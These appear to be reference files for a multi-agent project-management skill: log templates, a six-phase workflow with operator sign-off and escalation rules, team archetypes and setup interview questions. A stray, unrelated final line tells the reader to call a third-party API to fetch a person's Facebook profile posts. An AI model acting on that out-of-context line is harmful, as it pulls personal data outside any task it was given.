## SHARED_MEMORY.md — Cross-Agent Knowledge
Living document for project knowledge that persists across sessions but doesn't belong in the task manager.
### What goes here (universal)
- Domain knowledge agents have learned about this project
- Client preferences and communication style
- Conventions specific to this client or this work
- Cross-sprint summaries (added by client-facing agent at close)
- Anything one agent needs to tell another that doesn't fit a task
### What does NOT go here
- Task status → task manager
- Accepted scope → SPEC files
- How-to-do-the-work → DELIVERABLES_GUIDE.md
- Decisions and acceptances → DECISIONS.md
- Limitations → KNOWN_ISSUES.md
### Format
```markdown
## [YYYY-MM-DD] [agent-id] — [topic]
Content here.
---
```
---
## DECISIONS.md — Decision Log
**Append-only.** Every significant decision made during intake or scope negotiation. Never edit existing entries.
### Who reads it
Client-facing agent, feasibility reviewer, operator. QA references when filing failures.
### Who writes it
Client-facing agent, during intake phase as decisions are made.
### Purpose
When a client later disputes what was agreed, this is the record. It captures what was proposed, what issue was surfaced, what the client said, what was accepted.
### Format
```markdown
## [YYYY-MM-DD] — [Sprint ID]: [Decision Topic]
**Issue surfaced by [feasibility reviewer]:** [description of the issue, options if any]
**Client response (received [date]):** [exact words or close paraphrase, attributed]
**Resolution:** [Accept as known outcome / Client-proposed alternative / Descoped]
**Accepted by:** [Client name], [feasibility reviewer agent], [client-facing agent]
**Logged by:** [client-facing agent]
---
```
---
## KNOWN_ISSUES.md — Accepted Limitations
Accepted limitations and trade-offs. QA reads before reviewing — does not file failures against items here.
### Who reads it
QA (before every review), all agents for context, operator.
### Who writes it
Feasibility reviewer, during planning and as new limitations are accepted.
### Format
```markdown
## [Sprint ID] — [Issue Title]
- **Accepted:** [date]
- **Context:** [why this limitation exists, what decision led to it]
- **Impact:** [what users/clients/operators will experience as a result]
---
```
---
## RUNBOOK.md — Project Operating Guide
Maintained by feasibility reviewer. All contributors read before starting work to avoid unnecessary escalations.
### Who reads it
All agents before starting work, operator for reference.
### Who writes it
Initial stub generated by this skill (with section headers appropriate for team type). Feasibility reviewer fills in details after first session with the project.
### Universal sections (always present)
- Local Setup / Access — how to access the shared medium
- Conventions — how the team formats work, names things, etc.
- Definition of Done — what counts as complete
- Known Gotchas — pitfalls specific to this project
### Team-type-specific sections
See `references/team-archetypes.md` for sections appropriate to each team type.
---
## workspace/SPEC-CURRENT.md
Reference to the currently active accepted specification / brief / scope document.
### Versioning rules (universal)
- Every new draft gets its own versioned file: `SPEC-v[N]-[YYYY-MM-DD].md`
- Specs are **never overwritten** — increment version
- `SPEC-CURRENT.md` updates to point to or contain the latest accepted version
- Version history is the audit trail
### Status markers
Feasibility reviewer adds one when reviewing:
```
STATUS: DRAFT — Under feasibility review
STATUS: ACCEPTED — [date] — [feasibility-reviewer-agent] + [client-facing-agent]
```
---
## workspace/DELIVERABLES_GUIDE.md
Written by feasibility reviewer after spec is accepted. Task-oriented blueprint for what gets produced and how.
This file replaces the dev-specific "IMPLEMENTATION_GUIDE.md" with a universal name. It serves the same function across all team types: turn the accepted scope into discrete tasks the executors can work on.
### Format
```markdown
# Deliverables Guide — [Sprint ID]
## Task 1: [Task Title]
**Assigned to:** [role / agent]
**Task manager ID:** [created by client-facing agent after this guide is written]
### What to produce
[Description of the deliverable]
### Inputs / dependencies
[What this task depends on or requires]
### Approach
[How to do it — high-level. Not full execution.]
### Acceptance criteria
[How QA will verify this is complete]
### Notes / edge cases
[Anything the executor should know]
---
## Task 2: ...
```
---
## Queue Files
Located in `queues/`. One file per role-recipient.
Standard set:
- `to-[client-facing-role].md`
- `to-[feasibility-reviewer-role].md`
- `to-[feasibility-reviewer-role]-feasibility.md` (intake phase only — separate from execution escalations)
- `to-[qa-role].md`
- `to-[operator].md` (only if operator exists)
- `to-[other-role].md` for each additional role
### Format (universal — every entry must use this)
```
[YYYY-MM-DD HH:MM] [FROM: agent-id] [TO: agent-id] [TASK: task-id or N/A]
Message body. Be specific. Include task IDs, file references, error messages.
If multiple items, number them clearly.
---
```
### Rules (universal)
- Append-only — never delete entries
- Mark processed entries by prepending `[READ]` — do not remove the line
- Archive at sprint close (mark READ, do not remove)
- Each agent checks their queue at session start, before any other action
- Feasibility queue is **only** used during intake phase — keeps it separate from execution escalations
---
## File Responsibility Matrix
| File | Created by | Updated by | Read by | Mutability |
|---|---|---|---|---|
| `PROJECT.md` | This skill | Operator | All agents | Rare (workflow changes only) |
| `project.json` | This skill | Operator | All agents | Structure changes only |
| `project-lock.json` | This skill | All agents (per phase) | All agents | Every phase change |
| `STATE.md` | This skill | All agents | Operator, all agents | Frequently |
| `SHARED_MEMORY.md` | This skill | All agents (append) | All agents | Frequently |
| `DECISIONS.md` | This skill | Client-facing agent (append) | Client-facing, feasibility, operator | Append-only |
| `KNOWN_ISSUES.md` | This skill | Feasibility reviewer (append) | QA, all agents | Append-only |
| `RUNBOOK.md` | This skill (stub) | Feasibility reviewer | All agents | As patterns evolve |
| `SPEC-vN-*.md` | Client-facing agent | Never | Client-facing, feasibility | Immutable |
| `SPEC-CURRENT.md` | Client-facing agent | Client-facing (per sprint) | All agents | Per sprint |
| `DELIVERABLES_GUIDE.md` | Feasibility reviewer | Feasibility reviewer | All executors, QA | Per sprint |
| `queues/to-*.md` | This skill (init) | Named sender (append) | Named recipient | Append-only |
FILE:references/workflow.md
# Workflow Reference
Universal workflow for any project type managed under OpenClaw Projects. Read this when:
- Drafting the workflow section of PROJECT.md in Step 4
- Troubleshooting agent behavior during a sprint
- Explaining how the team should operate
---
## Table of Contents
- [Phase Overview](#phase-overview)
- [Phase 1: Intake](#phase-1-intake)
- [Phase 2: Planning](#phase-2-planning)
- [Phase 3: Execution](#phase-3-execution)
- [Phase 4: Review](#phase-4-review)
- [Phase 5: Operator Sign-off](#phase-5-operator-sign-off)
- [Phase 6: Close](#phase-6-close)
- [Escalation Rules](#escalation-rules)
- [Queue Message Format](#queue-message-format)
- [Agent Session Start Checklist](#agent-session-start-checklist)
---
## Phase Overview
```
idle → intake → planning → execution → close → idle
↕
review
```
Each phase tracked in `project-lock.json`. Agents check this file before acting.
If current phase doesn't match the agent's intended action, the agent stops and posts to their relevant queue.
The phase names are universal across team types. The *content* of each phase is team-specific (see `references/team-archetypes.md`), but the structure is the same.
---
## Phase 1: Intake
**Owner:** Client-facing agent
**Lock phase:** `intake`
**Queue used:** `to-[feasibility-reviewer]-feasibility.md`
### Steps
1. Client-facing agent receives or drafts work intake (requirements, brief, request, lead — whatever the team type).
2. Client-facing agent creates a versioned spec file: `workspace/SPEC-v[N]-[YYYY-MM-DD].md`
- Never overwrite — always increment version
- Updates `SPEC-CURRENT.md` to reference this draft
- Marks file: `STATUS: DRAFT — Under feasibility review`
3. Client-facing agent posts to feasibility queue:
```
[date] [FROM: client-facing] [TO: feasibility-reviewer]
New scope draft ready for feasibility review.
File: workspace/SPEC-v[N]-[YYYY-MM-DD].md
---
```
4. Feasibility reviewer reads spec and reviews for the team-specific concerns. Examples:
- **Software dev:** technical feasibility, architecture conflicts, ambiguities
- **Marketing:** brand fit, channel feasibility, budget alignment
- **Real estate:** pricing realism, market fit, compliance
- **Whatever fits the team**
5. Reviewer posts numbered issues to feasibility queue:
```
[date] [FROM: feasibility-reviewer] [TO: client-facing]
Feasibility review complete. [N] issues to resolve before accepting.
Issue 1: [title]
[description, concrete impact, options if available]
Issue 2: ...
---
```
6. Client-facing agent translates issues into client-friendly language and sends to client (via email skill if available, or via `to-operator.md` if not).
7. Client responds to each numbered issue:
- **Accept as known outcome**
- **Provide a solution** for reviewer to evaluate
- **Descope** — remove the requirement
8. Client-facing agent logs response in `DECISIONS.md` with date.
9. If client proposes solution, reviewer evaluates. Loop repeats until all issues resolved.
10. When resolved:
- Reviewer updates `SPEC-CURRENT.md`: `STATUS: ACCEPTED — [date] — [reviewer] + [client-facing]`
- Client-facing agent logs final acceptance in `DECISIONS.md`
- Client-facing agent updates `project-lock.json` → `phase: planning`
### Client No-Response Rule
- No response in [client_no_response_hours] → client-facing agent sends follow-up
- Still no response → client-facing agent posts to `to-operator.md`:
```
[date] [FROM: client-facing] [TO: operator]
Client has not responded to feasibility issues for [hours]h. Follow-up sent.
Please engage client directly. Issues are in queues/to-[feasibility]-feasibility.md.
---
```
- Task moves to "Blocked" stage in task manager
---
## Phase 2: Planning
**Owner:** Feasibility reviewer
**Lock phase:** `planning`
### Steps
1. Reviewer writes `workspace/DELIVERABLES_GUIDE.md`:
- Each numbered section = one task in the task manager
- Detailed enough to execute without ambiguity
- Approach-level, not full execution
- References `KNOWN_ISSUES.md` items created from this guide
- **If scope includes visual/media assets:** reviewer uses vision capability (if model supports it) to review them. Each task referencing a visual asset must include the asset filename so executors and QA can locate it.
2. Reviewer updates `KNOWN_ISSUES.md` with limitations accepted during intake.
3. Reviewer posts to client-facing agent's queue:
```
[date] [FROM: feasibility-reviewer] [TO: client-facing]
Deliverables guide ready. workspace/DELIVERABLES_GUIDE.md
[N] tasks defined.
---
```
4. Client-facing agent reviews guide for completeness.
5. Client-facing agent creates tasks in task manager from guide:
- One task per numbered section
- Task description includes the relevant guide section
- Tasks placed in first stage (Backlog or equivalent), assigned to appropriate roles
6. Client-facing agent posts to feasibility-reviewer's queue:
```
[date] [FROM: client-facing] [TO: feasibility-reviewer]
Sprint [N] open. [X] tasks created.
---
```
7. Client-facing agent updates `project-lock.json`:
```json
{
"phase": "execution",
"sprint_id": "sprint-[N]",
"sprint_opened": "[date]"
}
```
8. Client-facing agent updates `STATE.md`.
---
## Phase 3: Execution
**Owner:** Executors (their assigned tasks)
**Escalation owner:** Feasibility reviewer
**Lock phase:** `execution`
### Executor Task Flow
1. Executor picks up assigned task → moves to "In Progress" stage in task manager.
2. Executor reads:
- `workspace/DELIVERABLES_GUIDE.md` — relevant task section
- `RUNBOOK.md` — project conventions
- Their queue — pending messages
3. **If task references a visual/media asset:**
- Executor switches to vision-capable model (if their config supports it)
- Retrieves asset from task manager attachment (preferred) or workspace media folder
- If asset cannot be retrieved → blocker, escalate to feasibility reviewer
4. Executor produces the deliverable in the shared working medium.
5. When complete:
- **Software dev:** push to sprint branch; first task opens PR, subsequent push updates PR
- **Marketing/content:** save to shared drive in approved location
- **Real estate:** update CRM with completion details
- **Whatever fits the medium**
- Move task from "In Progress" → "In Review" stage
- Post to QA's queue:
```
[date] [FROM: executor] [TO: qa] [TASK: task-id]
Task [id] complete. [Pointer to deliverable — PR URL, file path, etc.]
What was produced: [brief description]
---
```
6. Executor moves to next task if available.
### Executor Escalation Rules
**When blocked:**
- Post to feasibility reviewer's queue with task ID, what was tried, specific question
- Reviewer responds in executor's queue
- Executor waits for response
**Hard stop rule — triggers when EITHER condition is met:**
- Same issue escalated [stuck_re_escalations_threshold] times to reviewer without resolution, OR
- Executor stuck on same issue for [stuck_hours_threshold] hours
**When hard stop triggers:**
1. Executor stops work on that task immediately
2. Executor posts full summary to client-facing agent's queue:
```
[date] [FROM: executor] [TO: client-facing] [TASK: task-id]
HARD STOP — escalation limit reached.
Issue: [description]
Escalation history:
[date] — First escalation: [question]
[date] — Reviewer response: [response]
[date] — Second escalation: [question]
[date] — Reviewer response: [response]
Still blocked because: [reason]
Awaiting operator assistance before resuming.
---
```
3. Task moves to "Blocked" in task manager
4. Client-facing agent posts to `to-operator.md`
5. **No further AI cycles spent on this task until operator resolves**
---
## Phase 4: Review
**Owner:** QA reviewer
**Lock phase:** `execution` (review runs concurrently with ongoing execution)
### QA Flow
1. QA picks up task from "In Review" stage → moves to "QA" or "Review" stage.
2. QA reads:
- `KNOWN_ISSUES.md` — do not file failures against accepted limitations
- `workspace/SPEC-CURRENT.md` — accepted scope
- `workspace/DELIVERABLES_GUIDE.md` — planned approach for this task
3. **If deliverable includes visual output and task references a mockup:**
- QA uses vision (if model supports) to compare output to reference
- Visual deviations not in `KNOWN_ISSUES.md` are failures
4. QA reviews deliverable against all references.
### QA Pass
```
[date] [FROM: qa] [TO: operator] [TASK: task-id]
Task [id] — REVIEW PASSED.
Deliverable: [pointer]
Verified against: SPEC-CURRENT.md + DELIVERABLES_GUIDE.md task [N]
No known issues flagged.
---
```
- Move task to "Completed" stage
### QA Fail
```
[date] [FROM: qa] [TO: feasibility-reviewer] [TASK: task-id]
Task [id] — REVIEW FAILED. [N] issues found.
Issue 1: [specific — what was checked, what was expected, what happened]
Issue 2: ...
---
```
- Move task back to "In Progress"
- Executor addresses failures and re-submits
- QA re-reviews
---
## Phase 5: Operator Sign-off
**Owner:** Operator (human, if defined)
**Lock phase:** `close` (after sign-off)
### Flow
1. Operator reviews `to-operator.md` for QA-passed tasks.
2. Operator validates the deliverable:
- **Software dev:** pull branch, review, test
- **Marketing/content:** read the deliverable
- **Real estate:** verify listing data
- **Whatever fits**
3. If satisfied:
- **Software dev:** tells QA to merge to main; rebases other repos
- **Other:** approves delivery to client through whatever channel applies
4. Operator updates `project-lock.json` → `phase: close`.
### If no operator (rare)
QA's pass message is the sign-off. Move directly to close phase.
---
## Phase 6: Close
**Owner:** Client-facing agent
**Lock phase:** `idle` (after close)
### Close Checklist
1. Verify all sprint tasks are in "Completed" stage in task manager.
2. Archive completed tasks (close/archive — do not delete).
3. Verify `DECISIONS.md` has complete record for this sprint.
4. Verify `KNOWN_ISSUES.md` is current.
5. Write sprint summary to `SHARED_MEMORY.md`:
```markdown
## [date] Sprint [N] Close — [client-facing-agent]
What was delivered: [summary]
Issues accepted: [reference to KNOWN_ISSUES entries]
Client sign-off: [yes/no — how confirmed]
Carry-over notes: [anything for next sprint]
```
6. Update `STATE.md`:
```markdown
# [Project Name] — Current State
**Phase:** Idle — Sprint [N] closed. Ready for next intake.
```
7. Archive queue entries (mark `[READ]`, do not delete).
8. Update `project-lock.json`:
```json
{
"phase": "idle",
"sprint_id": null,
"sprint_opened": null,
"waiting_on": null,
"context": "Sprint [N] closed. Ready for next intake."
}
```
9. Post to operator's queue: "Sprint [N] closed. Ready for next intake."
**One sprint at a time mode:** Client-facing agent does not accept new intake until `project-lock.json` is `idle`.
**Continuous flow mode:** Client-facing agent can accept new intake immediately. Each piece of work flows through phases independently. Sprint close still happens for periodic cleanup, but new intake doesn't wait for it.
---
## Escalation Rules
| Situation | Action | Threshold |
|---|---|---|
| Client not responding to scope | Client-facing follows up; then escalates to operator | client_no_response_hours |
| Executor blocked on task | Escalate to feasibility reviewer | Immediately when blocked |
| Same issue re-escalated to reviewer | Hard stop; client-facing escalates to operator | stuck_re_escalations_threshold |
| Executor stuck same issue | Hard stop; client-facing escalates to operator | stuck_hours_threshold |
| Task in Blocked with no movement | Client-facing escalates to operator | blocked_task_operator_escalation_hours |
| QA failing same task repeatedly | QA posts to reviewer; client-facing monitors | — |
**No agent continues spending AI cycles on a blocked path. Stop, surface, wait.**
---
## Queue Message Format
Every queue entry must use this exact format:
```
[YYYY-MM-DD HH:MM] [FROM: agent-id] [TO: agent-id] [TASK: task-id or N/A]
Message body. Be specific. Include task IDs, file references, error messages.
If multiple items, number them clearly.
---
```
### Rules
- Queues are append-only — never delete entries
- Mark processed entries by prepending `[READ]` — do not remove the line
- Archive at sprint close (mark READ, leave in place)
- Each agent checks their queue at session start, before any other action
- Feasibility queue is **only** used during intake phase
---
## Agent Session Start Checklist
Every agent runs this at the start of every session:
1. Read `project-lock.json` for each project they're on — what phase is each in?
2. Read `queues/to-[my-role].md` for each project — any pending messages?
3. If unread queue messages exist, address them before starting new work
4. If phase doesn't match my expected action, post to relevant queue and wait
5. If phase matches and no pending messages, proceed with current task
**Queue and phase check always come before anything else.**
FILE:references/team-archetypes.md
# Team Archetypes
Reference patterns for common team types. Read this when:
- Drafting the team plan in Step 4 and need a reference example
- The user's team is novel and you're inferring conventions
- Writing the RUNBOOK.md stub and need section ideas
These are starting points, not prescriptions. Every team adapts the pattern.
---
## Software Development Team
**Roles:**
- **PM (client-facing)** — receives feature requests, manages scope, talks to client
- **Engineer (feasibility reviewer)** — reviews technical feasibility, writes implementation guides
- **FE Dev / BE Dev** — implements assigned tasks
- **QA** — validates PRs against accepted spec
- **Operator** — final merge authority, handles unresolvable escalations
**Stages:** Backlog → In Progress → In Review → QA → Completed → Blocked
**Shared medium:** Git repository (one cloned copy in `workspace/repo/`, one branch per dev per sprint, PR auto-updates as dev pushes)
**Definition of done:** PR opened, all tests pass, QA reviewed against spec, operator approves merge.
**Visual assets:** Mockups attached to tasks. FE Dev and QA need vision-capable models.
**RUNBOOK sections:**
- Local setup instructions
- Branch naming convention
- PR conventions
- Known codebase gotchas
- Deployment notes
**Workflow nuance:** Devs work one branch per sprint. Multiple tasks ship in one PR that auto-updates. QA re-reviews each push. Operator merges once everything passes.
---
## Marketing / Creative Team
**Roles:**
- **Strategist (client-facing)** — receives briefs, scopes campaigns, manages client relationship
- **Creative Director (feasibility reviewer)** — reviews briefs for fit with brand, channel, and budget
- **Copywriter / Designer / Producer** — produces deliverables
- **Brand Reviewer (QA)** — final quality check against brand guidelines
- **Operator** — handles escalations, approves controversial creative
**Stages:** Brief → Drafting → Internal Review → Client Review → Approved → Blocked
**Shared medium:** Google Drive folder, Notion workspace, or Figma project. Linked from `workspace/LINKS.md` if external.
**Definition of done:** Approved by Brand Reviewer, client has signed off, asset is delivered to client's specified location.
**Visual assets:** Often heavy use — mockups, references, photography. Stored as task attachments primarily.
**RUNBOOK sections:**
- Brand guidelines reference
- Channel-specific requirements (social character limits, email best practices, etc.)
- Asset rights and attribution rules
- Approval chain
- Standard turnaround times
**Workflow nuance:** Client approval is often a back-and-forth. Strategist owns those rounds and must clearly log each round in DECISIONS.md so the team doesn't lose context.
---
## Real Estate Team
**Roles:**
- **Listing Agent (client-facing)** — talks to sellers and buyers, owns the relationship
- **Broker (feasibility reviewer)** — reviews pricing, market fit, compliance
- **Listing Producer** — handles property write-ups, photo coordination, MLS entry
- **Compliance Reviewer (QA)** — checks all disclosures, contract terms before publishing
- **Operator** — handles unusual situations, contested pricing, escalations
**Stages:** New → Listing Prep → Listed → Under Offer → Closed → Blocked
**Shared medium:** CRM platform (BoomTown, Follow Up Boss, etc.). Reference URL in `workspace/EXTERNAL_SYSTEM.md`.
**Definition of done:** Listing live in MLS, photos approved, pricing confirmed, all disclosures complete.
**Visual assets:** Property photos. Stored as task attachments or CRM-hosted.
**RUNBOOK sections:**
- MLS data entry conventions
- Photography requirements (resolution, count, room order)
- Disclosure checklist
- Pricing methodology
- Compliance requirements specific to jurisdiction
**Workflow nuance:** Compliance is non-negotiable. QA reviewer must catch missing disclosures before listing goes live or there are legal consequences.
---
## Content / Editorial Team
**Roles:**
- **Editor in Chief (client-facing)** — owns editorial calendar, talks to publication owner
- **Senior Editor (feasibility reviewer)** — reviews pitches for fit with calendar and audience
- **Writer / Reporter** — produces drafts
- **Copy Editor (QA)** — final pass for grammar, accuracy, style
- **Fact Checker** — separate role if the team is research-heavy
- **Operator** — handles escalations, approves controversial pieces
**Stages:** Idea → Drafting → Editing → Fact Check → Published → Blocked
**Shared medium:** CMS or shared Drive folder. Reference linked.
**Definition of done:** Copy edited, fact-checked, scheduled or published.
**Visual assets:** Hero images, embedded images. Often pulled from stock libraries — sourcing rules matter.
**RUNBOOK sections:**
- House style guide
- SEO requirements (length, keyword conventions)
- Image sourcing and rights
- Citation and attribution conventions
- Publishing checklist
**Workflow nuance:** Fact-checking can introduce significant rework. Plan for it in time estimates.
---
## Sales / Outreach Team
**Roles:**
- **Account Executive (client-facing)** — manages prospects through close
- **Sales Leader (feasibility reviewer)** — reviews lead quality, qualifies opportunities
- **SDR / BDR** — handles initial outreach and qualification
- **Sales Ops (QA)** — reviews pipeline data quality, ensures CRM is clean
- **Operator** — handles escalations, signs off on non-standard deals
**Stages:** Lead → Qualifying → Engaged → Proposal → Closed-Won/Lost → Blocked
**Shared medium:** CRM (Salesforce, HubSpot). External reference in `workspace/EXTERNAL_SYSTEM.md`.
**Definition of done:** Deal closed (won or lost), CRM updated with full context, lessons logged in SHARED_MEMORY.md.
**Visual assets:** Rare. Possibly proposal decks attached to tasks.
**RUNBOOK sections:**
- Qualification criteria (MEDDIC, BANT, whatever the team uses)
- Outreach templates and sequences
- CRM hygiene rules
- Compliance (GDPR, CAN-SPAM, opt-out handling)
- Hand-off triggers between SDR and AE
**Workflow nuance:** Compliance is critical. Bad outreach has legal consequences. QA role focuses on this.
---
## Customer Success / Support Team
**Roles:**
- **CS Manager (client-facing)** — owns customer relationship, manages escalations
- **Tier 2 / Specialist (feasibility reviewer)** — reviews complex tickets, validates solutions
- **Tier 1 Support** — handles standard inquiries
- **QA Reviewer** — audits ticket resolutions for quality
- **Operator** — handles fire escalations, contract-level issues
**Stages:** New Ticket → In Progress → Awaiting Customer → Resolved → Blocked
**Shared medium:** Ticketing system (Zendesk, Intercom). External reference linked.
**Definition of done:** Ticket resolved, customer confirmed, post-resolution survey sent or scheduled.
**Visual assets:** Screenshots from customers. Stored as task attachments.
**RUNBOOK sections:**
- Knowledge base location
- SLA targets per tier
- Escalation triggers
- Tone and communication standards
- Common issue resolution playbooks
**Workflow nuance:** "Awaiting Customer" can sit for days. Have a clear policy for follow-up cadence and when to close as inactive.
---
## Operations Team
**Roles:**
- **Ops Lead (client-facing)** — receives requests from internal stakeholders
- **Senior Ops (feasibility reviewer)** — validates requests are doable / scoped correctly
- **Ops Specialist** — executes operational tasks
- **Audit Reviewer (QA)** — verifies completed work meets compliance requirements
- **Operator** — handles approvals, audit issues
**Stages:** Request → Triage → In Progress → Verification → Complete → Blocked
**Shared medium:** Varies widely. Could be spreadsheets, internal systems, dashboards.
**Definition of done:** Verified by audit reviewer, approval logged, change reflected in source-of-truth system.
**RUNBOOK sections:**
- Systems of record
- Approval thresholds (what requires operator sign-off)
- Audit trail requirements
- Compliance requirements
**Workflow nuance:** Audit trail is mandatory. Every change must be traceable to who requested it, who approved it, who executed it.
---
## Research Team
**Roles:**
- **Lead Researcher (client-facing)** — receives research questions, scopes them
- **Senior Researcher (feasibility reviewer)** — validates questions are answerable, scopes methodology
- **Researcher / Analyst** — does the actual research
- **Peer Reviewer (QA)** — validates findings before publication
- **Operator** — handles ambiguous findings, contested conclusions
**Stages:** Question → Investigating → Drafting → Peer Review → Published → Blocked
**Shared medium:** Notion / shared docs / a research database. Linked from `workspace/`.
**Definition of done:** Findings peer-reviewed, sources cited, report published.
**Visual assets:** Diagrams, charts. Sometimes papers/PDFs as input.
**RUNBOOK sections:**
- Source quality standards
- Citation format
- Peer review criteria
- Publication targets
- Confidence levels and how to express uncertainty
**Workflow nuance:** Research projects can run long. Use SHARED_MEMORY.md aggressively to avoid losing context across sessions.
---
## Custom / Hybrid Teams
If the user describes something that doesn't fit cleanly:
1. Map their description to the closest archetype
2. Adjust roles, stages, and shared medium accordingly
3. Pull RUNBOOK sections from the closest match
4. Mark anything inferred so the user can correct in Step 4 review
Common hybrid patterns:
- **Dev + Marketing for SaaS** — two related projects with shared agents
- **Sales + Customer Success** — different stages, often same team
- **Research + Editorial** — research informs content
- **Real Estate + Marketing** — listing + promotion
For these, suggest creating two separate projects rather than one mega-project. Agents can participate in both.
FILE:references/interview-questions.md
# Interview Question Banks
Extended question banks for the Pass 1 (Team Identity) and Pass 2 (Work Structure) interviews. Use the questions in SKILL.md as the core flow; consult this file when:
- The user answers ambiguously and you need follow-up questions
- The team type is unusual and you need specialized prompts
- You're filling gaps in the AI-drafted plan and need to know what's missing
---
## Table of Contents
- [Pass 1: Team Identity — Core](#pass-1-team-identity--core)
- [Pass 1: Team Identity — Follow-ups](#pass-1-team-identity--follow-ups)
- [Pass 2: Work Structure — Core](#pass-2-work-structure--core)
- [Pass 2: Work Structure — Follow-ups](#pass-2-work-structure--follow-ups)
- [Pass 2: Team-Type-Specific Probes](#pass-2-team-type-specific-probes)
- [Gap-Filling Heuristics](#gap-filling-heuristics)
---
## Pass 1: Team Identity — Core
These are the questions in SKILL.md, restated here for reference:
1. **Project purpose** — one-sentence description
2. **Team type** — software dev, marketing, real estate, content, sales, customer success, operations, research, or other (describe)
3. **Project name and ID** — display name + lowercase ID
4. **Agent roster** — which existing agents will be on this team and their per-project role
5. **Client-facing agent** — who receives intake and talks to the client
6. **Feasibility reviewer** — domain expert who validates work is doable before commitment
7. **Quality reviewer** — who checks completed work before client delivery
8. **Operator** — is there a human in the loop, and what's their alias
9. **Other roles** — specialized contributors
---
## Pass 1: Team Identity — Follow-ups
If a user's answer is vague or missing, dig deeper:
### If they don't know what to call their team type
> "Don't worry about the label — describe what the team produces or does. Examples: 'They write blog posts and social copy for our clients.' Or: 'They handle inbound leads and qualify them.' I can pick a category from there."
### If they say they don't have a clear feasibility reviewer
> "Even if you don't have a formal 'reviewer,' someone needs to look at incoming work and say whether the team can actually do it given current capacity, skills, or constraints. Who would catch a problem like 'this requires expertise nobody has' before the team commits to delivering it?"
### If they say they don't have QA
> "Someone needs to be the last set of eyes before the work goes to the client. It doesn't have to be a separate person — it could be the feasibility reviewer doing a final pass. But there should be someone designated. Who is it?"
### If they say no operator
> "If a problem can't be resolved by any agent — say a client goes silent for a week, or two agents disagree on something the spec doesn't cover — who steps in? Even if it's just you, that's the operator."
### If they want all agents to do everything
Push back gently:
> "Specialized roles produce better results than agents trying to do everything. I'll need at least: a client-facing role, a feasibility reviewer, and a QA reviewer. Pick which agents fill those — they can still do other work too."
---
## Pass 2: Work Structure — Core
Restated from SKILL.md:
1. Task manager (Asana / ClickUp)
2. Stages of work (column structure)
3. Shared working medium
4. Definition of "done"
5. Sprint mode (one-at-a-time vs continuous flow)
6. Escalation thresholds
7. Visual / media assets
8. Anything else specific
---
## Pass 2: Work Structure — Follow-ups
### If they're unsure what columns to use
Suggest a default based on team type, then customize. Sensible defaults below.
### If they say "we don't have a shared working medium"
> "Even if work is mostly conversational, agents need somewhere to read shared context — past decisions, current state, reference material. That can be the project folder itself (`workspace/`). Is that enough, or do you have an external system the team uses?"
### If they're confused about sprint mode
> "Think about how new work arrives. Does the client typically hand you one big chunk to do well, or a steady stream of small things? Big chunks → sprint mode. Steady stream → continuous flow. You can change this later."
### If escalation thresholds feel arbitrary
> "These exist so agents don't spin wheels burning AI tokens. The defaults — 24 hours stuck, 2 re-escalations, 48 hours waiting on client — are reasonable for most teams. If your work is faster-paced (e.g., same-day turnaround), tighten these. If slower (e.g., long research projects), loosen them."
### If they're unclear on visual/media handling
Ask:
- "Will any agent need to look at images, video, or audio to do their work?"
- "Will any agent need to produce images, video, or audio as output?"
If either is yes → visual handling needed.
---
## Pass 2: Team-Type-Specific Probes
Use these to flesh out the plan when the user picks a particular team type.
### Software Development
- Frontend / backend / full-stack split?
- Branch and PR conventions? (default suggested in workflow.md)
- Local dev environment standardized?
- Deployment owned by team or separate?
- Test conventions — required or aspirational?
### Marketing / Creative
- Brand guidelines location?
- Channel mix (social, blog, email, paid)?
- Creative director or copy lead?
- Asset library / DAM in use?
- Approval chain — does client see drafts or only finals?
### Real Estate
- Listing source — MLS or direct?
- Photography handled by team or external?
- Pricing authority — who signs off?
- CRM platform?
- Compliance / disclosure requirements?
### Content / Editorial
- Editorial calendar in place?
- Editor / copy editor / fact-checker chain?
- CMS in use?
- SEO requirements?
- Image sourcing rules (rights, attribution)?
### Sales / Outreach
- CRM platform?
- Lead source(s)?
- Qualification criteria?
- Hand-off to closer / account manager?
- Compliance (GDPR, CAN-SPAM, etc.)?
### Customer Success / Support
- Ticketing platform?
- Tier 1 / Tier 2 split?
- Knowledge base location?
- SLA targets?
- Escalation path for technical issues?
### Operations
- What's the operational scope? (logistics, finance, HR ops, etc.)
- Systems of record?
- Approval workflows?
- Audit / compliance requirements?
### Research
- Research domain?
- Sources (papers, web, internal data)?
- Output format (reports, briefings, structured data)?
- Peer review chain?
### Other / Custom
Ask:
- "Walk me through what the team does end-to-end. Start when work arrives, end when it's delivered."
- "Where does the team produce its work?"
- "Who reviews before delivery?"
- "What can go wrong, and who handles it?"
---
## Default Stage Suggestions by Team Type
Use these as starting points. Confirm with user before locking in.
| Team Type | Suggested Stages |
|---|---|
| Software Dev | Backlog → In Progress → In Review → QA → Completed → Blocked |
| Marketing | Brief → In Drafting → Internal Review → Client Review → Approved → Blocked |
| Real Estate | New → Listing Prep → Listed → Under Offer → Closed → Blocked |
| Content | Idea → Drafting → Editing → Fact Check → Published → Blocked |
| Sales | Lead → Qualifying → Engaged → Proposal → Closed-Won/Lost → Blocked |
| Customer Success | New Ticket → In Progress → Awaiting Customer → Resolved → Blocked |
| Operations | Request → Triage → In Progress → Verification → Complete → Blocked |
| Research | Question → Investigating → Drafting → Peer Review → Published → Blocked |
Every team should have a "Blocked" column for work that's stuck waiting on something external.
---
## Gap-Filling Heuristics
When writing the AI-drafted plan in Step 4, you'll inevitably need to fill gaps the user didn't explicitly answer. Use these heuristics. Mark all inferred items with [INFERRED] in the plan.
### Communication frequency
If unspecified, default: agents check their queue at every session start, before any other action.
### Sprint length
If unspecified and using sprint mode, do not invent a fixed length. Sprints end when all committed work is delivered, not on a calendar.
### Re-work loops
If unspecified, default: failed QA review → back to executor with specific failures listed → re-submit when fixed. Same dev escalation rules apply during rework.
### Idle behavior
If unspecified, default: when nothing is in their queue and no task is assigned to them, agents do nothing (do not invent work).
### Decision authority
If unspecified, default: feasibility-reviewer has technical authority within the project; client-facing agent has client-relationship authority; operator has final authority on anything contested.
### "Done" definition
If unspecified for the team type, default: "QA reviewed and approved against the accepted scope, and the operator (if any) has signed off on delivery." Adjust per team.
### Versioning of accepted scope
Always default: scope documents are versioned (`SPEC-v1-[date].md`) and never overwritten. Latest accepted version is referenced from `SPEC-CURRENT.md`. This is universal across team types.
### Mid-sprint scope changes
If unspecified, default: scope changes mid-sprint require client-facing agent to pause work, log the change in DECISIONS.md, get explicit re-acceptance from client, and update SPEC. Avoid silent scope drift.
Call GET /api/facebook/get-profile-posts/v1 for Facebook Get Profile Posts through JustOneAPI with profileId.
